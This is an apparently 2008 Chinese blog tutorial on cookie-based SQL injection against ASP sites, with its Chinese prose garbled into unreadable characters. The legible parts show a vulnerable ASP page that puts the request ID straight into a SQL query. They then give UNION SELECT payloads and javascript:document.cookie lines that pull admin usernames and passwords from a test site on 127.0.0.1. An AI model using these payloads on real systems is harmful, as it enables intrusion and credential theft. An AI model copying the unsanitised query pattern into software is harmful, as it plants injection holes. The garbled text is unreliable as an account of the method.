��ѧ��Cookie��ϲ�ѯ��ע��

С�ڿ� — 2008-05-07 17:48

��ԭ��ҾͲ�д�ˣ�д��һ��Ƭ��ҿ��ķ��д��ͷʹ��Ҿͽ��е�ϸ�ڡ��˽��ô��Ҫ��е�cookie��ȫ��͡�

cookieֵ��Ӻ�ű��浽��ģ�Ҳ��ǹ�IE��.
ǰ��һ��վû�й��cookie��ʽ��ע�롣
��ǰ�˽��ݿ�Ĺ��Ա��һ��ע��ļ��ݿ��ѯ��ݿ��е��
��ݿ�,�ҵ�Product��ֶ��Ϊ21��Ա��Ϊadmin �û��ֶ��Ϊusername��password��Ǻ�û��ע��ļ��ǿ��Լ��һ��Է��ҵ��⡣

��¼�ע��ASP��Ȼ��û��ʲô�ϸ�Ĺ��ˣ�Ҳ��ǽ��κη�ʽ��ύ��.
//��ݿ��ļ�
<%
dim ID,sql,rs //��庯��
ID=trim(request("ID")) //��κ��ʽ��ύȥ��
if Id="" then //idΪ�յ��ת
response.Redirect("Product.asp")
end if
sql="select * from Product where ID=" & ID & "" //��¼��ѯ��
Set rs= Server.CreateObject("ADODB.Recordset") //��ò�ѯ��䣬��¼��id��ڵ�ָ��
rs.open sql,conn,1,3 //��Ӽ�¼�ı��﷽ʽ 1,3�ɶ�д, �ֹ��
if rs.bof and rs.eof then //��ʾ BOF �� EOF��ж�
response.Write("

�Ҳ��˲�Ʒ

")
else
%>

<%=rs("Title")%>

//��ָ�봦��ݣ�ѡȡ��ֶ��Ա��û��Ҫ��ͬ

<%=rs("product_id")%>

<%=rs("Price")%>

<%
end if
rs.close //��
set rs=nothing
call CloseConn
%>
��ǰͼ�е�ID=55

��ϲ�ѯ��
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin ��6��2�ֱ��username��password�滻

��cookieע�롣�Ҹ�Ŀ�꣬ע��ṹ��ǰ��Ͳ��ٷ��,��post��getע��.

��һ��´�IE��ӵ��ע��վhttp://127.0.0.1/nf��Ҳ��ȥ��ǰ��ֵ��ע��:��Ҫֱ��ǰ��ͼ�е��Ӵ��,��Ի᲻�ɹ��ޡ�
��յ�ַ��IE��ٴ��ڵ�ַ�м��
javascript:alert(document.cookie="id="+escape("56 and 1=2 union select 1,
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin"))
�ٴ��IE��http://127.0.0.1/nf/ProductShow.asp

��ģ��ظ��һ.ע��˲��,�ܶ��ʧ�ܾ��
��壺��յ�ַ��IE��ٴ��ڵ�ַ��´��
javascript:alert(document.cookie="id="+escape("56 and 1=2 union select 1,
username,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin"))

��ٴ��յ�ַ��IE��http://127.0.0.1/nf/ProductShow.asp

��ȫ�Ľ��ܵĶ�д��ҷ��

�Ķ�ȫ��
��Ĭ�Ϸ�� 鿴��